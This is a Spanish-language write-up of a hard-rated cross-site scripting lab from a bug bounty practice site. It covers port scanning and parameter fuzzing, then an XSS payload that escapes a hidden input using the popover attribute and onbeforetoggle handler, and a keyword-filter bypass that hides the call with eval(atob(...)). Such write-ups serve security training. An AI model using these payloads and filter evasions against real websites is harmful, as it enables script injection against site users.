BBLabs - XSSaS | (Difficulty Hard) - XSS
Writeup del laboratorio de dificultad dificil XSSaS de la página https://bugbountylabs.com/
TCP Scan
Realizo un escaneo de puertos TCP contra la dirección IP 192.168.1.139 pudiendo observar dos puertos, 22, 80
, el interesante es el puerto 80 que aloja un servidor web Werkzeug httpd 2.2.2
1
2
rustscan -a 192.168.1.139 --ulimit 5000 -g
192.168.1.139 -> [22,80]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -p22,80 -sCV 192.168.1.139
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-05 22:03 CET
Nmap scan report for 192.168.1.139 (192.168.1.139)
Host is up (0.00015s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-title: Verificaci\xC3\xB3n de Usuario
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
MAC Address: 08:00:27:91:6A:9B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.52 seconds
Exploitation
80/TCP
Accedo a http://192.168.1.139/ puediendo observar una web que contiene un título que indica "Usuario no encontrado"
, junto con un boton que indica "Click Here"
Analizando el código fuente observo la existencia de un formulario con un input oculto, y por otro lado el button utiliza el atributo "popovertarget"
apuntando a un elemento que contenga el id "x"
, popover es una aracterística de HTML que permite a un botón o enlace activar una ventana emergente sin necesidad de JavaScript
Utilizo wffuz para realizar para realizar fuzzing de parámetros en la URL, consigo encontrar que existe un parámetro, el cual es /?user=
1
2
3
4
5
wfuzz -c --hh=548 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.1.139/?FUZZ=ju4ncaa"
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000125: 200 20 L 42 W 555 Ch "user"
Consigo observar que el valor que introduzco a través del parámetro GET ?user=
se ve reflejado en el value
del input oculto
Para entender mejor como realizar la explotación adjunto dos artículos de PortSwigger:
Basicamente aprovecharé el input hidden y desde la URL del navegador a través del parámetro GET /?user=
escaparé value=
con una comilla "
, le asignaré el id=x
al que hace referencia el <button>
el atributo popover
que va a permitir que sea un popover visible y por ultimo aprovecharé el evento onbeforetoggle
donde indicaré que quiero ejecutar cuando el popover se active
Payload
1
/?user="id=x popover onbeforetoggle="alert()
Al intentar ejecutar un alert() obtengo un mensaje que indica que la palabra alert
no está permitida en el nombre de usuario.
Algunos payloads que pueden bypassear esta comprobación se encuentran en el siguiente artículo de PortSwigger:
Payload
1
/?user="id=x popover onbeforetoggle="eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'));